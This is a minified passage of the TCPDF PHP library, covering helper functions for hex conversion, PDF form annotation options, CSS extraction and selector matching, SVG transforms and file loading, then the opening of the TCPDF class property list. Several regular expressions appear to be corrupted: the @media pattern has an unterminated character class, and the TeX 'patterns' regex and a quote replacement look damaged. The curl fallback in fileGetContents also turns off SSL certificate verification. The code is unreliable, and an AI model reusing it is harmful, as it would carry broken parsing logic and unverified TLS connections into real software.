convertHexStringToString($bs){$string='';$bslength=strlen($bs);if(($bslength%2)!=0){$bs.='0';++$bslength;}for($i=0;$i<$bslength;$i+=2){$string.=chr(hexdec($bs[$i].$bs[($i+1)]));}return $string;} public static function convertStringToHexString($s){$bs='';$chars=preg_split('//',$s,-1,PREG_SPLIT_NO_EMPTY);foreach($chars as $c){$bs.=sprintf('%02s',dechex(ord($c)));}return $bs;} public static function getEncPermissionsString($protection){$binprot=sprintf('%032b',$protection);$str=chr(bindec(substr($binprot,24,8)));$str.=chr(bindec(substr($binprot,16,8)));$str.=chr(bindec(substr($binprot,8,8)));$str.=chr(bindec(substr($binprot,0,8)));return $str;} public static function encodeNameObject($name){$escname='';$length=strlen($name);for($i=0;$i<$length;++$i){$chr=$name[$i];if(preg_match('/[0-9a-zA-Z#_=-]/',$chr)==1){$escname.=$chr;}else {$escname.=sprintf('#%02X',ord($chr));}}return $escname;} public static function getAnnotOptFromJSProp($prop,&$spot_colors,$rtl=false){if(isset($prop['aopt']) AND is_array($prop['aopt'])){return $prop['aopt'];}$opt=array();if(isset($prop['alignment'])){switch($prop['alignment']){case 'left':{$opt['q']=0;break;}case 'center':{$opt['q']=1;break;}case 'right':{$opt['q']=2;break;}default:{$opt['q']=($rtl)?2:0;break;}}}if(isset($prop['lineWidth'])){$linewidth=intval($prop['lineWidth']);}else {$linewidth=1;}if(isset($prop['borderStyle'])){switch($prop['borderStyle']){case 'border.d':case 'dashed':{$opt['border']=array(0,0,$linewidth,array(3,2));$opt['bs']=array('w'=>$linewidth,'s'=>'D','d'=>array(3,2));break;}case 'border.b':case 'beveled':{$opt['border']=array(0,0,$linewidth);$opt['bs']=array('w'=>$linewidth,'s'=>'B');break;}case 'border.i':case 'inset':{$opt['border']=array(0,0,$linewidth);$opt['bs']=array('w'=>$linewidth,'s'=>'I');break;}case 'border.u':case 'underline':{$opt['border']=array(0,0,$linewidth);$opt['bs']=array('w'=>$linewidth,'s'=>'U');break;}case 'border.s':case 'solid':{$opt['border']=array(0,0,$linewidth);$opt['bs']=array('w'=>$linewidth,'s'=>'S');break;}default:{break;}}}if(isset($prop['border']) AND is_array($prop['border'])){$opt['border']=$prop['border'];}if(!isset($opt['mk'])){$opt['mk']=array();}if(!isset($opt['mk']['if'])){$opt['mk']['if']=array();}$opt['mk']['if']['a']=array(0.5,0.5);if(isset($prop['buttonAlignX'])){$opt['mk']['if']['a'][0]=$prop['buttonAlignX'];}if(isset($prop['buttonAlignY'])){$opt['mk']['if']['a'][1]=$prop['buttonAlignY'];}if(isset($prop['buttonFitBounds']) AND ($prop['buttonFitBounds']=='true')){$opt['mk']['if']['fb']=true;}if(isset($prop['buttonScaleHow'])){switch($prop['buttonScaleHow']){case 'scaleHow.proportional':{$opt['mk']['if']['s']='P';break;}case 'scaleHow.anamorphic':{$opt['mk']['if']['s']='A';break;}}}if(isset($prop['buttonScaleWhen'])){switch($prop['buttonScaleWhen']){case 'scaleWhen.always':{$opt['mk']['if']['sw']='A';break;}case 'scaleWhen.never':{$opt['mk']['if']['sw']='N';break;}case 'scaleWhen.tooBig':{$opt['mk']['if']['sw']='B';break;}case 'scaleWhen.tooSmall':{$opt['mk']['if']['sw']='S';break;}}}if(isset($prop['buttonPosition'])){switch($prop['buttonPosition']){case 0:case 'position.textOnly':{$opt['mk']['tp']=0;break;}case 1:case 'position.iconOnly':{$opt['mk']['tp']=1;break;}case 2:case 'position.iconTextV':{$opt['mk']['tp']=2;break;}case 3:case 'position.textIconV':{$opt['mk']['tp']=3;break;}case 4:case 'position.iconTextH':{$opt['mk']['tp']=4;break;}case 5:case 'position.textIconH':{$opt['mk']['tp']=5;break;}case 6:case 'position.overlay':{$opt['mk']['tp']=6;break;}}}if(isset($prop['fillColor'])){if(is_array($prop['fillColor'])){$opt['mk']['bg']=$prop['fillColor'];}else {$opt['mk']['bg']=TCPDF_COLORS::convertHTMLColorToDec($prop['fillColor'],$spot_colors);}}if(isset($prop['strokeColor'])){if(is_array($prop['strokeColor'])){$opt['mk']['bc']=$prop['strokeColor'];}else {$opt['mk']['bc']=TCPDF_COLORS::convertHTMLColorToDec($prop['strokeColor'],$spot_colors);}}if(isset($prop['rotation'])){$opt['mk']['r']=$prop['rotation'];}if(isset($prop['charLimit'])){$opt['maxlen']=intval($prop['charLimit']);}if(!isset($ff)){$ff=0;}if(isset($prop['readonly']) AND ($prop['readonly']=='true')){$ff+=1<<0;}if(isset($prop['required']) AND ($prop['required']=='true')){$ff+=1<<1;}if(isset($prop['multiline']) AND ($prop['multiline']=='true')){$ff+=1<<12;}if(isset($prop['password']) AND ($prop['password']=='true')){$ff+=1<<13;}if(isset($prop['NoToggleToOff']) AND ($prop['NoToggleToOff']=='true')){$ff+=1<<14;}if(isset($prop['Radio']) AND ($prop['Radio']=='true')){$ff+=1<<15;}if(isset($prop['Pushbutton']) AND ($prop['Pushbutton']=='true')){$ff+=1<<16;}if(isset($prop['Combo']) AND ($prop['Combo']=='true')){$ff+=1<<17;}if(isset($prop['editable']) AND ($prop['editable']=='true')){$ff+=1<<18;}if(isset($prop['Sort']) AND ($prop['Sort']=='true')){$ff+=1<<19;}if(isset($prop['fileSelect']) AND ($prop['fileSelect']=='true')){$ff+=1<<20;}if(isset($prop['multipleSelection']) AND ($prop['multipleSelection']=='true')){$ff+=1<<21;}if(isset($prop['doNotSpellCheck']) AND ($prop['doNotSpellCheck']=='true')){$ff+=1<<22;}if(isset($prop['doNotScroll']) AND ($prop['doNotScroll']=='true')){$ff+=1<<23;}if(isset($prop['comb']) AND ($prop['comb']=='true')){$ff+=1<<24;}if(isset($prop['radiosInUnison']) AND ($prop['radiosInUnison']=='true')){$ff+=1<<25;}if(isset($prop['richText']) AND ($prop['richText']=='true')){$ff+=1<<25;}if(isset($prop['commitOnSelChange']) AND ($prop['commitOnSelChange']=='true')){$ff+=1<<26;}$opt['ff']=$ff;if(isset($prop['defaultValue'])){$opt['dv']=$prop['defaultValue'];}$f=4;if(isset($prop['readonly']) AND ($prop['readonly']=='true')){$f+=1<<6;}if(isset($prop['display'])){if($prop['display']=='display.visible'){}elseif($prop['display']=='display.hidden'){$f+=1<<1;}elseif($prop['display']=='display.noPrint'){$f-=1<<2;}elseif($prop['display']=='display.noView'){$f+=1<<5;}}$opt['f']=$f;if(isset($prop['currentValueIndices']) AND is_array($prop['currentValueIndices'])){$opt['i']=$prop['currentValueIndices'];}if(isset($prop['value'])){if(is_array($prop['value'])){$opt['opt']=array();foreach($prop['value'] AS $key=>$optval){if(isset($prop['exportValues'][$key])){$opt['opt'][$key]=array($prop['exportValues'][$key],$prop['value'][$key]);}else {$opt['opt'][$key]=$prop['value'][$key];}}}else {$opt['v']=$prop['value'];}}if(isset($prop['richValue'])){$opt['rv']=$prop['richValue'];}if(isset($prop['submitName'])){$opt['tm']=$prop['submitName'];}if(isset($prop['name'])){$opt['t']=$prop['name'];}if(isset($prop['userName'])){$opt['tu']=$prop['userName'];}if(isset($prop['highlight'])){switch($prop['highlight']){case 'none':case 'highlight.n':{$opt['h']='N';break;}case 'invert':case 'highlight.i':{$opt['h']='i';break;}case 'push':case 'highlight.p':{$opt['h']='P';break;}case 'outline':case 'highlight.o':{$opt['h']='O';break;}}}return $opt;} public static function formatPageNumber($num){return number_format((float)$num,0,'','.');} public static function formatTOCPageNumber($num){return number_format((float)$num,0,'','.');} public static function extractCSSproperties($cssdata){if(empty($cssdata)){return array();}$cssdata=preg_replace('/\/\*[^\*]*\*\//','',$cssdata);$cssdata=preg_replace('/[\s]+/',' ',$cssdata);$cssdata=preg_replace('/[\s]*([;:\{\}]{1})[\s]*/','',$cssdata);$cssdata=preg_replace('/([^\}\{]+)\{\}/','',$cssdata);$cssdata=preg_replace('/@media[\s]+([^\{]*)\{/i','@media ',$cssdata);$cssdata=preg_replace('/\}\}/si','}',$cssdata);$cssdata=trim($cssdata);$cssblocks=array();$matches=array();if(preg_match_all('/@media[\s]+([^\]*)([^]*)/i',$cssdata,$matches)>0){foreach($matches[1] as $key=>$type){$cssblocks[$type]=$matches[2][$key];}$cssdata=preg_replace('/@media[\s]+([^\]*)([^]*)/i','',$cssdata);}if(isset($cssblocks['all']) AND !empty($cssblocks['all'])){$cssdata.=$cssblocks['all'];}if(isset($cssblocks['print']) AND !empty($cssblocks['print'])){$cssdata.=$cssblocks['print'];}$cssblocks=array();$matches=array();if(substr($cssdata,-1)=='}'){$cssdata=substr($cssdata,0,-1);}$matches=explode('}',$cssdata);foreach($matches as $key=>$block){$cssblocks[$key]=explode('{',$block);if(!isset($cssblocks[$key][1])){unset($cssblocks[$key]);}}foreach($cssblocks as $key=>$block){if(strpos($block[0],',')>0){$selectors=explode(',',$block[0]);foreach($selectors as $sel){$cssblocks[]=array(0=>trim($sel),1=>$block[1]);}unset($cssblocks[$key]);}}$cssdata=array();foreach($cssblocks as $block){$selector=$block[0];$matches=array();$a=0;$b=intval(preg_match_all('/[\#]/',$selector,$matches));$c=intval(preg_match_all('/[\[\.]/',$selector,$matches));$c+=intval(preg_match_all('/[\:]link|visited|hover|active|focus|target|lang|enabled|disabled|checked|indeterminate|root|nth|first|last|only|empty|contains|not/i',$selector,$matches));$d=intval(preg_match_all('/[\>\+\~\s]{1}[a-zA-Z0-9]+/',' '.$selector,$matches));$d+=intval(preg_match_all('/[\:][\:]/',$selector,$matches));$specificity=$a.$b.$c.$d;$cssdata[$specificity.' '.$selector]=$block[1];}ksort($cssdata,SORT_STRING);return $cssdata;} public static function fixHTMLCode($html,$default_css='',$tagvs='',$tidy_options='',&$tagvspaces){if($tidy_options===''){$tidy_options=array('clean'=>1,'drop-empty-paras'=>0,'drop-proprietary-attributes'=>1,'fix-backslash'=>1,'hide-comments'=>1,'join-styles'=>1,'lower-literals'=>1,'merge-divs'=>1,'merge-spans'=>1,'output-xhtml'=>1,'word-2000'=>1,'wrap'=>0,'output-bom'=>0,);}$tidy=tidy_parse_string($html,$tidy_options);$tidy->cleanRepair();$tidy_head=tidy_get_head($tidy);$css=$tidy_head->value;$css=preg_replace('/<style([^>]+)>/ims','<style>',$css);$css=preg_replace('/<\/style>(.*)<style>/ims',"
",$css);$css=str_replace('/*<![CDATA[*/','',$css);$css=str_replace('/*]]>*/','',$css);preg_match('/<style>(.*)<\/style>/ims',$css,$matches);if(isset($matches[1])){$css=strtolower($matches[1]);}else {$css='';}$css='<style>'.$default_css.$css.'</style>';$tidy_body=tidy_get_body($tidy);$html=$tidy_body->value;$html=str_replace('<br>','<br />',$html);$html=preg_replace('/<div([^\>]*)><\/div>/','',$html);$html=preg_replace('/<p([^\>]*)><\/p>/','',$html);if($tagvs!==''){$tagvspaces=$tagvs;}return $css.$html;} public static function isValidCSSSelectorForTag($dom,$key,$selector){$valid=false;$tag=$dom[$key]['value'];$class=array();if(isset($dom[$key]['attribute']['class']) AND !empty($dom[$key]['attribute']['class'])){$class=explode(' ',strtolower($dom[$key]['attribute']['class']));}$id='';if(isset($dom[$key]['attribute']['id']) AND !empty($dom[$key]['attribute']['id'])){$id=strtolower($dom[$key]['attribute']['id']);}$selector=preg_replace('/([\>\+\~\s]{1})([\.]{1})([^\>\+\~\s]*)/si','*.',$selector);$matches=array();if(preg_match_all('/([\>\+\~\s]{1})([a-zA-Z0-9\*]+)([^\>\+\~\s]*)/si',$selector,$matches,PREG_PATTERN_ORDER|PREG_OFFSET_CAPTURE)>0){$parentop=array_pop($matches[1]);$operator=$parentop[0];$offset=$parentop[1];$lasttag=array_pop($matches[2]);$lasttag=strtolower(trim($lasttag[0]));if(($lasttag=='*') OR ($lasttag==$tag)){$attrib=array_pop($matches[3]);$attrib=strtolower(trim($attrib[0]));if(!empty($attrib)){switch($attrib[0]){case '.':{if(in_array(substr($attrib,1),$class)){$valid=true;}break;}case '#':{if(substr($attrib,1)==$id){$valid=true;}break;}case '[':{$attrmatch=array();if(preg_match('/\[([a-zA-Z0-9]*)[\s]*([\~\^\$\*\|\=]*)[\s]*["]?([^"\]]*)["]?\]/i',$attrib,$attrmatch)>0){$att=strtolower($attrmatch[1]);$val=$attrmatch[3];if(isset($dom[$key]['attribute'][$att])){switch($attrmatch[2]){case '=':{if($dom[$key]['attribute'][$att]==$val){$valid=true;}break;}case '~=':{if(in_array($val,explode(' ',$dom[$key]['attribute'][$att]))){$valid=true;}break;}case '^=':{if($val==substr($dom[$key]['attribute'][$att],0,strlen($val))){$valid=true;}break;}case '$=':{if($val==substr($dom[$key]['attribute'][$att],-strlen($val))){$valid=true;}break;}case '*=':{if(strpos($dom[$key]['attribute'][$att],$val)!==false){$valid=true;}break;}case '|=':{if($dom[$key]['attribute'][$att]==$val){$valid=true;}elseif(preg_match('/'.$val.'[\-]{1}/i',$dom[$key]['attribute'][$att])>0){$valid=true;}break;}default:{$valid=true;}}}}break;}case ':':{if($attrib[1]==':'){}else {}break;}}}else {$valid=true;}if($valid AND ($offset>0)){$valid=false;$selector=substr($selector,0,$offset);switch($operator){case ' ':{while($dom[$key]['parent']>0){if(self::isValidCSSSelectorForTag($dom,$dom[$key]['parent'],$selector)){$valid=true;break;}else {$key=$dom[$key]['parent'];}}break;}case '>':{$valid=self::isValidCSSSelectorForTag($dom,$dom[$key]['parent'],$selector);break;}case '+':{for($i=($key-1);$i>$dom[$key]['parent'];--$i){if($dom[$i]['tag'] AND $dom[$i]['opening']){$valid=self::isValidCSSSelectorForTag($dom,$i,$selector);break;}}break;}case '~':{for($i=($key-1);$i>$dom[$key]['parent'];--$i){if($dom[$i]['tag'] AND $dom[$i]['opening']){if(self::isValidCSSSelectorForTag($dom,$i,$selector)){break;}}}break;}}}}}return $valid;} public static function getCSSdataArray($dom,$key,$css){$cssarray=array();$selectors=array();if(isset($dom[($dom[$key]['parent'])]['csssel'])){$selectors=$dom[($dom[$key]['parent'])]['csssel'];}foreach($css as $selector=>$style){$pos=strpos($selector,' ');$specificity=substr($selector,0,$pos);$selector=substr($selector,$pos);if(self::isValidCSSSelectorForTag($dom,$key,$selector)){if(!in_array($selector,$selectors)){$cssarray[]=array('k'=>$selector,'s'=>$specificity,'c'=>$style);$selectors[]=$selector;}}}if(isset($dom[$key]['attribute']['style'])){$cssarray[]=array('k'=>'','s'=>'1000','c'=>$dom[$key]['attribute']['style']);}$cssordered=array();foreach($cssarray as $key=>$val){$skey=sprintf('%04d',$key);$cssordered[$val['s'].'_'.$skey]=$val;}ksort($cssordered,SORT_STRING);return array($selectors,$cssordered);} public static function getTagStyleFromCSSarray($css){$tagstyle='';foreach($css as $style){$csscmds=explode(';',$style['c']);foreach($csscmds as $cmd){if(!empty($cmd)){$pos=strpos($cmd,':');if($pos!==false){$cmd=substr($cmd,0,($pos+1));if(strpos($tagstyle,$cmd)!==false){$tagstyle=preg_replace('/'.$cmd.'[^;]+/i','',$tagstyle);}}}}$tagstyle.=';'.$style['c'];}$tagstyle=preg_replace('/[;]+/',';',$tagstyle);return $tagstyle;} public static function intToRoman($number){$roman='';while($number>=1000){$roman.='M';$number-=1000;}while($number>=900){$roman.='CM';$number-=900;}while($number>=500){$roman.='D';$number-=500;}while($number>=400){$roman.='CD';$number-=400;}while($number>=100){$roman.='C';$number-=100;}while($number>=90){$roman.='XC';$number-=90;}while($number>=50){$roman.='L';$number-=50;}while($number>=40){$roman.='XL';$number-=40;}while($number>=10){$roman.='X';$number-=10;}while($number>=9){$roman.='IX';$number-=9;}while($number>=5){$roman.='V';$number-=5;}while($number>=4){$roman.='IV';$number-=4;}while($number>=1){$roman.='I';--$number;}return $roman;} public static function revstrpos($haystack,$needle,$offset=0){$length=strlen($haystack);$offset=($offset>0)?($length-$offset):abs($offset);$pos=strpos(strrev($haystack),strrev($needle),$offset);return ($pos===false)?false:($length-$pos-strlen($needle));} public static function getHyphenPatternsFromTEX($file){$data=file_get_contents($file);$patterns=array();$data=preg_replace('/\%[^
]*/','',$data);preg_match('/\patterns\{([^\}]*)\}/i',$data,$matches);$data=trim(substr($matches[0],10,-1));$patterns_array=preg_split('/[\s]+/',$data);$patterns=array();foreach($patterns_array as $val){if(!TCPDF_STATIC::empty_string($val)){$val=trim($val);$val=str_replace('\'','\'',$val);$key=preg_replace('/[0-9]+/','',$val);$patterns[$key]=$val;}}return $patterns;} public static function getPathPaintOperator($style,$default='S'){$op='';switch($style){case 'S':case 'D':{$op='S';break;}case 's':case 'd':{$op='s';break;}case 'f':case 'F':{$op='f';break;}case 'f*':case 'F*':{$op='f*';break;}case 'B':case 'FD':case 'DF':{$op='B';break;}case 'B*':case 'F*D':case 'DF*':{$op='B*';break;}case 'b':case 'fd':case 'df':{$op='b';break;}case 'b*':case 'f*d':case 'df*':{$op='b*';break;}case 'CNZ':{$op='W n';break;}case 'CEO':{$op='W* n';break;}case 'n':{$op='n';break;}default:{if(!empty($default)){$op=self::getPathPaintOperator($default,'');}else {$op='';}}}return $op;} public static function getTransformationMatrixProduct($ta,$tb){$tm=array();$tm[0]=($ta[0]*$tb[0])+($ta[2]*$tb[1]);$tm[1]=($ta[1]*$tb[0])+($ta[3]*$tb[1]);$tm[2]=($ta[0]*$tb[2])+($ta[2]*$tb[3]);$tm[3]=($ta[1]*$tb[2])+($ta[3]*$tb[3]);$tm[4]=($ta[0]*$tb[4])+($ta[2]*$tb[5])+$ta[4];$tm[5]=($ta[1]*$tb[4])+($ta[3]*$tb[5])+$ta[5];return $tm;} public static function getSVGTransformMatrix($attribute){$tm=array(1,0,0,1,0,0);$transform=array();if(preg_match_all('/(matrix|translate|scale|rotate|skewX|skewY)[\s]*\(([^\)]+)\)/si',$attribute,$transform,PREG_SET_ORDER)>0){foreach($transform as $key=>$data){if(!empty($data[2])){$a=1;$b=0;$c=0;$d=1;$e=0;$f=0;$regs=array();switch($data[1]){case 'matrix':{if(preg_match('/([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)/si',$data[2],$regs)){$a=$regs[1];$b=$regs[2];$c=$regs[3];$d=$regs[4];$e=$regs[5];$f=$regs[6];}break;}case 'translate':{if(preg_match('/([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)/si',$data[2],$regs)){$e=$regs[1];$f=$regs[2];}elseif(preg_match('/([a-z0-9\-\.]+)/si',$data[2],$regs)){$e=$regs[1];}break;}case 'scale':{if(preg_match('/([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)/si',$data[2],$regs)){$a=$regs[1];$d=$regs[2];}elseif(preg_match('/([a-z0-9\-\.]+)/si',$data[2],$regs)){$a=$regs[1];$d=$a;}break;}case 'rotate':{if(preg_match('/([0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)/si',$data[2],$regs)){$ang=deg2rad($regs[1]);$x=$regs[2];$y=$regs[3];$a=cos($ang);$b=sin($ang);$c=-$b;$d=$a;$e=($x*(1-$a))-($y*$c);$f=($y*(1-$d))-($x*$b);}elseif(preg_match('/([0-9\-\.]+)/si',$data[2],$regs)){$ang=deg2rad($regs[1]);$a=cos($ang);$b=sin($ang);$c=-$b;$d=$a;$e=0;$f=0;}break;}case 'skewX':{if(preg_match('/([0-9\-\.]+)/si',$data[2],$regs)){$c=tan(deg2rad($regs[1]));}break;}case 'skewY':{if(preg_match('/([0-9\-\.]+)/si',$data[2],$regs)){$b=tan(deg2rad($regs[1]));}break;}}$tm=self::getTransformationMatrixProduct($tm,array($a,$b,$c,$d,$e,$f));}}}return $tm;} public static function getVectorsAngle($x1,$y1,$x2,$y2){$dprod=($x1*$x2)+($y1*$y2);$dist1=sqrt(($x1*$x1)+($y1*$y1));$dist2=sqrt(($x2*$x2)+($y2*$y2));$angle=acos($dprod/($dist1*$dist2));if(is_nan($angle)){$angle=M_PI;}if((($x1*$y2)-($x2*$y1))<0){$angle*=-1;}return $angle;} public static function pregSplit($pattern,$modifiers,$subject,$limit=NULL,$flags=NULL){if((strpos($modifiers,'u')===FALSE) OR (count(preg_split('//u',"
",-1,PREG_SPLIT_NO_EMPTY))==2)){return preg_split($pattern.$modifiers,$subject,$limit,$flags);}$ret=array();while(($nl=strpos($subject,"
"))!==FALSE){$ret=array_merge($ret,preg_split($pattern.$modifiers,substr($subject,0,$nl),$limit,$flags));$ret[]="
";$subject=substr($subject,($nl+1));}if(strlen($subject)>0){$ret=array_merge($ret,preg_split($pattern.$modifiers,$subject,$limit,$flags));}return $ret;} public static function fopenLocal($filename,$mode){if(strpos($filename,'://')===false){$filename='file://'.$filename;}elseif(stream_is_local($filename)!==true){return false;}return fopen($filename,$mode);} public static function fileGetContents($file){$alt=array($file);if((strlen($file)>1) AND ($file[0]=='/') AND ($file[1]!='/') AND !empty($_SERVER['DOCUMENT_ROOT']) AND ($_SERVER['DOCUMENT_ROOT']!='/')){$findroot=strpos($file,$_SERVER['DOCUMENT_ROOT']);if(($findroot===false) OR ($findroot>1)){if(substr($_SERVER['DOCUMENT_ROOT'],-1)=='/'){$tmp=substr($_SERVER['DOCUMENT_ROOT'],0,-1).$file;}else {$tmp=$_SERVER['DOCUMENT_ROOT'].$file;}$alt[]=htmlspecialchars_decode(urldecode($tmp));}}$url=$file;if(preg_match('%^/{2}%',$url)){if(preg_match('%^([^:]+:)//%i',K_PATH_URL,$match)){$url=$match[1].str_replace(' ','%20',$url);$alt[]=$url;}}$urldata=@parse_url($url);if(!isset($urldata['query']) OR (strlen($urldata['query'])<=0)){if(K_PATH_URL AND (strpos($url,K_PATH_URL)===0)){$tmp=str_replace(K_PATH_URL,K_PATH_MAIN,$url);$tmp=htmlspecialchars_decode(urldecode($tmp));$alt[]=$tmp;}}if(isset($_SERVER['SCRIPT_URI'])){$urldata=@parse_url($_SERVER['SCRIPT_URI']);$alt[]=$urldata['scheme'].'://'.$urldata['host'].(($file[0]=='/')?'':'/').$file;}foreach($alt as $f){$ret=@file_get_contents($f);if(($ret===FALSE) AND !ini_get('allow_url_fopen') AND function_exists('curl_init') AND preg_match('%^(https?|ftp)://%',$f)){$cs=curl_init();curl_setopt($cs,CURLOPT_URL,$f);curl_setopt($cs,CURLOPT_BINARYTRANSFER,true);curl_setopt($cs,CURLOPT_FAILONERROR,true);curl_setopt($cs,CURLOPT_RETURNTRANSFER,true);if((ini_get('open_basedir')=='') AND (!ini_get('safe_mode'))){curl_setopt($cs,CURLOPT_FOLLOWLOCATION,true);}curl_setopt($cs,CURLOPT_CONNECTTIMEOUT,5);curl_setopt($cs,CURLOPT_TIMEOUT,30);curl_setopt($cs,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($cs,CURLOPT_SSL_VERIFYHOST,false);curl_setopt($cs,CURLOPT_USERAGENT,'TCPDF');$ret=curl_exec($cs);curl_close($cs);}if($ret!==FALSE){break;}}return $ret;}}class TCPDF{ var $page; var $n; var $offsets=array(); var $pageobjects=array(); var $buffer; var $pages=array(); var $state; var $compress; var $CurOrientation; var $pagedim=array(); var $k; var $fwPt; var $fhPt; var $wPt; var $hPt; var $w; var $h; var $lMargin; var $rMargin; var $clMargin; var $crMargin; var $tMargin; var $bMargin; var $cell_padding=array('T'=>0,'R'=>0,'B'=>0,'L'=>0); var $cell_margin=array('T'=>0,'R'=>0,'B'=>0,'L'=>0); var $x; var $y; var $lasth; var $LineWidth; var $CoreFonts; var $fonts=array(); var $FontFiles=array(); var $diffs=array(); var $images=array(); var $svg_tag_depth=0; var $PageAnnots=array(); var $links=array(); var $FontFamily; var $FontStyle; var $FontAscent; var $FontDescent; var $underline; var $overline; var $CurrentFont; var $FontSizePt; var $FontSize; var $DrawColor; var $FillColor; var $TextColor; var $ColorFlag; var $AutoPageBreak; var $PageBreakTrigger; var $InHeader=false; var $InFooter=false; var $ZoomMode; var $LayoutMode; var $docinfounicode=true; var $title=''; var $subject=''; var $author=''; var $keywords=''; var $creator=''; var $starting_page_number=1; var $img_rb_x; var $img_rb_y; var $imgscale=1; var $isunicode=false; var $PDFVersion='1.7'; var $header_xobjid=false; var $header_xobj_autoreset=false; var $header_margin; var $footer_margin; var $original_lMargin; var $original_rMargin; var $header_font; var $footer_font; var $l; var $print_header=true; var $print_footer=true; var $header_logo=''; var $header_logo_width=30; var $header_title=''; var $header_string=''; var $header_text_color=array(0,0,0); var $header_line_color=array(0,0,0); var $footer_text_color=array(0,0,0); var $footer_line_color=array(0,0,0); var $txtshadow=array('enabled'=>false,'depth_w'=>0,'depth_h'=>0,'color'=>false,'opacity'=>1,'blend_mode'=>'Normal'); var $default_table_columns=4; var $HREF=array(); var $fontlist=array(); var $fgcolor; var $listordered=array(); var $listcount=array(); var $listnum=0; var $listindent=0; var $listindentlevel=0; var $bgcolor; var $tempfontsize=10; var $lispacer=''; var $encoding='UTF-8'; var $internal_encoding; var $rtl=false; var $tmprtl=false; var $encrypted; var $encryptdata=array(); var $last_enc_key; var $last_enc_key_c; var $file_id; var $outlines=array(); var $OutlineRoot; var $javascript=''; var $n_js; var $linethrough; var $ur=array(); var $dpi=72; var $newpagegroup=array(); var $pagegroups=array(); var $currpagegroup=0; var $extgstates; var $jpeg_quality; var $cell_height_ratio=K_CELL_HEIGHT_RATIO; var $viewer_preferences; var $PageMode; var $gradients=array(); var $intmrk=array(); var $bordermrk=array(); var $emptypagemrk=array(); var $cntmrk=array(); var $footerpos=array(); var $footerlen=array(); var $newline=true; var $endlinex=0; var $linestyleWidth=''; var $linestyleCap='0 J'; var $linestyleJoin='0 j'; var $linestyleDash='[] 0 d'; var $openMarkedContent=false; var $htmlvspace=0; var $spot_colors=array(); var $lisymbol=''; var $epsmarker='x#!#EPS#!#x'; var $transfmatrix=array(); var $transfmatrix_key=0; var $booklet=false; var $feps=0.005; var $tagvspaces=array(); var $customlistindent=-1; var $opencell=true; var $embeddedfiles=array(); var $premode=false; var $transfmrk=array(); var $htmlLinkColorArray=array(0,0,255); var $htmlLinkFontStyle='U'; var $numpages=0; var $pagelen=array(); var $numimages=0; var $imagekeys=array(); var $bufferlen=0; var $numfonts=0; var $fontkeys=array(); var $font_obj_ids=array(); var $pageopen=array(); var $default_monospaced_font='courier'; var $objcopy; var $cache_file_length=array(); var $thead=''; var $theadMargins=array(); var $sign=false; var $signature_data=array(); var $signature_max_length=11742; var $signature_appearance=array('page'=>1,'rect'=>'0 0 0 0'); var $empty_signature_appearance=array(); var $tsa_timestamp=false; var $tsa_data=array(); var $re_spaces='/[^\S]/'; var $re_space=array('p'=>'[^\S]','m'=>''); var $sig_obj_id=0; var $page_obj_id=array(); var $form_obj_id=array(); var $default_form_prop=array('lineWidth'=>1,'borderStyle'=>'solid','fillColor'=>array(255,255,255),'strokeColor'=>array(128,128,128)); var $js_objects=array(); var $form_action=''; var $form_enctype='application/x-www-form-urlencoded'; var $form_mode='post'; var $annotation_fonts=array(); var $radiobutton_groups=array(); var $radio_groups=array(); var $textindent=0; var $start_transaction_page=0; var $start_transaction_y=0; var $inthead=false; var $columns=array(); var $num_columns=1; var $current_column=0; var $column_start_page=0; var $maxselcol=array('page'=>0,'column'=>0); var $colxshift=array('x'=>0,'s'=>array('H'=>0,'V'=>0),'p'=>array('L'=>0,'T'=>0,'R'=>0,'B'=>0)); var $textrendermode=0; var $textstrokewidth=0; var $strokecolor; var $pdfunit='mm'; var $tocpage=false; var $rasterize_vector_images=false; var $font_subsetting=true; var $default_graphic_vars=array(); var $xobjects=array(); var $inxobj=false; var $xobjid=''; var $font_stretching=100; var $font_spacing=0; var $page_regions=array(); var $check_page_regions=true; var $pdflayers=array(); var $dests=array(); var $n_dests; var $efnames=array(); var $svgdir=''; var $svgunit='px'; var $svggradients=array(); var $svggradientid=0; var $svgdefsmode=false; var $svgdefs=array(); var $svgclipmode=false; var $svgclippaths=array(); var $svgcliptm=array(); var $svgclipid=0; var $svgtext=''; var $svgtextmode=array(); var $svgstyles=array(array('alignment-baseline'=>'auto','baseline-shift'=>'baseline','clip'=>'auto','clip-path'=>'none','clip-rule'=>'nonzero','color'=>'black','color-interpolation'=>'sRGB','color-interpolation-filters'=>'linearRGB','color-profile'=>'auto','color-rendering'=>'auto','cursor'=>'auto','direction'=>'ltr','display'=>'inline','dominant-baseline'=>'auto','enable-background'=>'accumulate','fill'=>'black','fill-opacity'=>1,'fill-rule'=>'nonzero','filter'=>'none','flood-color'=>'black','flood-opacity'=>1,'font'=>'','font-family'=>'helvetica','font-size'=>'medium','font-size-adjust'=>'none','font-stretch'=>'normal','font-style'=>'normal','font-variant'=>'normal','font-weight'=>'normal','glyph-orientation-horizontal'=>'0deg','glyph-orientation-vertical'=>'auto','image-rendering'=>'auto','kerning'=>'auto','letter-spacing'=>'normal','lighting-color'=>'white','marker'=>'','marker-end'=>'none','marker-mid'=>'none','marker-start'=>'none','mask'=>'none','opacity'=>1,'overflow'=>'auto','pointer-events'=>'visiblePainted','shape-rendering'=>'auto','stop-color'=>'black','stop-opacity'=>1,'stroke'=>'none','stroke-dasharray'=>'none','stroke-dashoffset'=>0,'stroke-linecap'=>'butt','stroke-linejoin'=>'miter','stroke-miterlimit'=>4,'stroke-opacity'=>1,'stroke-width'=>1,'text-anchor'=>'start','text-decoration'=>'none','text-rendering'=>'auto','unicode-bidi'=>'normal','visibility'=>'visible','word-spacing'=>'normal','writing-mode'=>'lr-tb','text-color'=>'black','transfmatrix'=>array(1,0,0,1,0,0))); var $force_srgb=false; var $pdfa_mode=false; var $doc_creation_timestamp; var $doc_modification_timestamp; var $custom_xmp=''; var $overprint=array('OP'=>false,'op'=>false,'OPM'=>0); var $alpha=array('CA'=>1,'ca'=>1,'BM'=>'/Normal','AIS'=>false); var $page_boxes=array('MediaBox','CropBox','BleedBox','TrimBox','ArtBox'); var 